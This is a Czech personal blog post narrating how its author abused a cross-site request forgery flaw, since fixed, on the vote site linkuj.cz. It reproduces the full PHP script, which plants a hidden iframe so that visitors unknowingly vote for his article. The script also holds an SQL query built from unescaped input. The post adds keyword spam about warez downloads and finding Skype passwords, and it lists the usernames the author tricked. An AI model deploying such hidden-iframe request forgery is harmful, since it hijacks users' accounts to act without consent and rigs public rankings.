Navigace:Mozektevidi.net ⇒ IT bezpečnost ⇒ MzK Hacknul linkuj.cz

MzK Hacknul linkuj.cz

Naposled o bezpečnosti portálu linkuj. Hack, bezpečnostní chyba, plain-text. Můj příběh a moje minutová sláva.

sony vegas 7 download, sony Vegas Pro 8 0 cestina, čeština do bioshock, sony vegas 8 čeština, company of heroes ke stazeni, čeština sony vegas 8, sony vegas pro 8 čeština, 3 sestry alba download, stahuj call of duty 2, jak zjistit skype heslo,

Bezpečnostní chyba linkuj.cz

Cross-Site Request Forgery je už opravené, jdu sepsat již nefunkční návod, jak se mi povedlo dostat na kolena známý server linkuj.cz

Kdy mě to napadlo?

Zrovna jsem byl s kamarádkou Adélou (to je ta s tetováním draka) na kafi a povídali si o nějakých blbostech. Nevím jak je to možné, na co jsem přesně myslel, napadlo mě, že bych mohl ulečit linkařům práci s linkováním.

Přístupný web

linkuj.cz hacked

Moje myšlenka byla jasná. Dokonalá optimalizace. Nebudu optimalizovat pro nějaké roboty, ale optimalizuji svůj web přímo pro uživatele. Protože na návštěvnících mi opravdu záleží, nejsou mi lhostejní. Jak jim co nejvíce zpříjemnit pobyt na stránce? Neotravovat je žádostí o linkování, ale linkovat za ně. Ušetřit jim práci s klikáním na inkonku linkuj.cz a vše dělat automaticky.
Takovou službu jistě ocení. Když mám vše naplánované, loučím se s Adélkou a jedu domů. Je už pozdě v noci, pouštím počítač. Všem mám předem vymyšlené, php skripty linkuj.cz vůbec neprotestují. Do svého webu umístím neviditelní i frame s adresou

http://linkuj.cz/?id=linkuj&url=http://mozektevidi.net/$co_linkují

optimalizace skritpu

Není mi lhostejný trafik mojich návštěvníků. Proto se neviditelný skript zobrazoval pouze jednou. A možnost linkování nenabízím každému. Jen vyvoleným.

Výsledný skript


 <?

$co_chce_linkovat = htmlspecialchars($_SERVER["REQUEST_URI"]);

$ip = $_SERVER["REMOTE_ADDR"];

$referer = htmlspecialchars($_SERVER["HTTP_REFERER"]);

 if ($ip !== "xxx.132.xx.xxx" ) { //Ja linkovat nemusim

    if (ereg("^http:/.*linkuj.c.*", $referer)){ // je ze linkuj.cz

    $query = mysql_query("SELECT * FROM linkuj WHERE ip="$ip" "); // uz linkoval?

    $pocet_zaznamu = mysql_num_rows($query);

      if (($pocet_zaznamu <= 0) or ($pocet_zaznamu = "")){ // neni v db

?>

<div style="display:none" ><iframe width="10" height="10" src="http://linkuj.cz/?id=linkuj&url=http://mozektevidi.net<? echo $co_chce_linkovat; ?>"></iframe></div>

<?

MySQL_Query("INSERT INTO linkuj VALUES ("", "$ip")") or die (mysql_error());

 }}}

?>

No uznejte sami, že tento skritp je minutová záležitost. Cross-site request forgery přes iframe. Linkuj vůbec neprotestovalo. Nahrál jsem soubory na web a svůj článek si zalinkoval Z počátku nic moc, první ovečky dorazili později. Pak linků přýbývalo exponenciálně. Můj článek postupoval výše a výše, návštěvnost stoupala. Čím výše byl článek, tím se rychleji zvyšoval počet kliknutí. V této době jsem upozornil admina linkuj.cz.
Zjištuji, že stačí mít dobře hodnocený článek a spousta lidí pro něj hlasuje, i přestože se jim nelíbí. Drží se stáda!. Přichází první zprávy na ICQ od internetových přátel. Všichni pochopili co se mi povedlo, chválou nešetří Machr

Sepisuji první upozornění všem. Návod nezveřejňuji, admin stále neodepsal, nevím za jak dlouho by chybu opravil. Nechci mu dělat z linkuj.cz bordel zveřejněním návodu.

Moje minutová sláva

Vychází článek plain-text, kde mě odkazuje. V té době už začínám diskutovat s adminem linkuj.cz. Vysvětluji mu způsob "hacknutí", navrhuji řešení, upozorňuji ho na jeho chyby. V pohodě se s ním dá mluvit.

Stoyan

Napsal mi na ICQ Stoyan. Vyptává se. Naznačuji mu způsob, nechtěl jsem mu vysvětlit vše do té doby, než bude chyba opravená. Nečekal jsem, že si bude chtít také ukousnout z mého chleba, objevenou chybu využije a zveřejní přesný návod na oblbnutí linkuj.cz ještě před opravením chyby. Navíc mě neodkazoval, za což má u mně malé nepatrné mínus Mrknutí . V té chvíli mi to přišlo docela sobecké.

Chyba je opravená

V současné době je chyba opravená kontrolou refereru. Já si v tom případě nezalinkuji, protože si referer blokuji.

Seznam linkařů

Seznam linkařů, co mě linkovali. Zdůrazněný jsou ti, které znám:
martines23, skaven, strokie, jeef, kajinek32, dufique, Sigilium, GurmetKlub.cz, CUKETKA.CZ, rADo, kraja, pablicko, czechian, acidofil, Nox.lbc, 123, JaS, xwkerim, xergic, Vindaloo, kozzlik, jIRI-san, tPaK, Houdas, arth, baracudakb, SpeedyGT, B0NG0, wokoman, trupik, Machi, layosh1, sodae, lemik, Ondrabig, Devil, slunko, dragony, carter, Diplomat, HarvyM, zoso, Pacek, koderj1, frana, MiK, radoado, zdenecek, gaidjin, kirby!, Godoy, linuxák, kblh, Dash, hell-brother, szk, SUK, gormadok, SteWe, daproof, random, kakas, golfy, skaven, Fred, jeef, kajinek32, KAIX, stribny, meca, tukak, pablicko, zrcatka, Nox.lbc, ondrakub, JaS, xwkerim, xergic, rushid, kozzlik, jIRI-san, shippy, pinky, Pumpkin, B0NG0, mylan, nupix, Machi, marekl, External, deevil, layosh1, syntax, sodae, lemik, Devil, dragony, Diplomat, HarvyM, theri, Pacek, koderj1, MiK, radoado, zdenecek, mrtvocich, Godoy, votrava, kblh, m.s, hell-brother, ladja, gormadok, JIM, lin, bushbeat, daproof, DeWorn, T3RM0ST4T, kakas, milan99, tukak, Peca, acidofil, Nox.lbc, meba, Corky, B0NG0, clovek55, Devil, FreeRiDeR, zoso, zdenecek, DoubleThink, matajon, koffr, docek, matej21, dsmid, theboy, golfy, rolmen, Dexter, Nip, zbiejczuk, double, Sigilium, CUKETKA.CZ, meca, Nox.lbc, ondrakub, tomekson.com, lemik, Devil, HarvyM, MeteleskuBlesku, mrtvocich, m.s, noone, matej21, bushbeat, golfy, strokie, milan99, KAIX, Sigilium, stribny, bluee, Acci, tukak, dr.ik, Peca, czechian, acidofil, PCMark, zrcatka, HonzaM, Nox.lbc, meba, sedllak, MUSIC4U, JaS, kozzlik, lama_lam, tomekson.com, Pumpkin, hidden, macfinger, mylan, ObiSkyWalker, trupik, dama, marekl, deevil, DANNTO, Devil, HarvyM, MeteleskuBlesku, radoado, zdenecek, dromedár, Guggy, mrtvocich, matajon, Godoy, Z13, m.s, agile, matej21, hell-brother, jakiko, Aramon, munio, golfy, rolmen, Dexter, zbiejczuk
snad jsem na žádné nezapoměl. Podle výše uvedeného skritpu jsem dostal buď lamy co nestojí o anonymitu (referer), nebo ti co mě linkovali doopravdy, pěkně po staru ručně